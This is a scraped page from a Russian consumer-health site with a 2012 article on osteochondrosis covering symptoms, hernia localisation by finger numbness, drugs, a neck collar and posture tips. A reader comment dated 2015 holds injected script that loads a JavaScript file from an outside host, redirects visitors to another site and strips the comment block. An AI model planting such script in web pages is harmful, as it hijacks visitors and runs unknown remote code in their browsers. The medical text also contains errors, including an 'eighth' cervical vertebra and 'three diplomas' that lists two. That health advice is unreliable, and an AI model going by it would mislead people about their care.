Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Остеохондроз. Болезнь век...  >>  Остеохондроз. Болезнь века
 
Обратная связь
 

Остеохондроз. Болезнь века

Размер шрифта
10 февраля 2012 10:50
  • google_analytics: false
  • Нравится

Что делать, если голову больно поворачивать.

1

Остеохондроз – болезнь, которая поражает кости и хрящи позвоночного столба.

Наш позвоночник выполняет три основных функции:

  • опорную;
  • защитную;
  • амортизационную.

Амортизация происходит благодаря межпозвоночным дискам. В течение жизни хрящевые ткани изнашиваются, истощаются, становятся хрупкими. При уменьшении межпозвоночного диска краевые костные образования позвонков начинают раздражать нерв и ущемлять его, причиняя человеку боль. Кроме того, с возрастом уменьшается величина межпозвонкового отверстия, в котором находится спинномозговой нерв.

Дегенерация межпозвоночных дисков приводит к тому, что:

  1. Позвонки оседают, возникают грыжи, которые пережимают нервы, вызывая боль.

  2. Пережимаются артерии, нарушается кровоснабжение мозга, и может подниматься давление.

1

Симптомы:

  • Боль, усугубляющаяся при физической нагрузке.
  • Тугоподвижность после сна или отдыха.
  • Треск и щелканье при движениях.
  • Боль в пояснице.
  • Иногда костные разрастания сдавливают пищевод, что затрудняет глотание.

Еще один признак шейного остеохондроза – онемение пальцев.

  • Если немеют мизинец и безымянный пальцы, это значит, что грыжа в области восьмого позвонка.
  • Если немеют указательный и средний пальцы, то грыжа между шестым и седьмым шейными позвонками.
  • Если немеют большой и указательный пальцы, то грыжа между пятым и шестым шейными позвонками.

1

Как лечить

Раз в три года нужно проводить обследование шейного отдела позвоночника с помощью магнитно-резонансного томографа.

  1. Соблюдать правильный двигательный режим. Исключить запрокидывание и бесконтрольные движения головой.

  2. Принимать нестероидные противовоспалительные препараты.

  3. Использовать шейный воротник, который обездвижит отдел позвоночника, где есть проблема.

Воротник примет на себя тяжесть головы и разгрузит шейный отдел позвоночника, давая ему возможность нормально функционировать. Воротник нужно подобрать таким образом, чтобы шея в нем была выпрямлена.

Мануальная терапия

Обращаясь к мануальному терапевту, удостоверьтесь, что врач имеет три диплома: врача сертификат невролога и сертификат мануального терапевта.

При лечении шейного остеохондроза необходимо придерживаться следующих правил:

  • Спинка рабочего стула должно плотно прилегать к спине, а голова не должна быть наклонена.
  • При сидячей работе старайтесь каждые 20 минут вставать с места и немного потягиваться всеми мышцами тела. Кстати, даже находясь дома, смотря телевизор или просто сидя в комнате, не сидите и не лежите в одном положении, это также напрягает ваши мышцы.
  • Следите за положением тела во время сна, для этого лучше всего спать на полужесткой постели, которая бы повторяла все естественные изгибы Вашего тела.



Cюжеты по теме:
Главное – вертикаль. В чем причина остеохондроза?

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:56

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.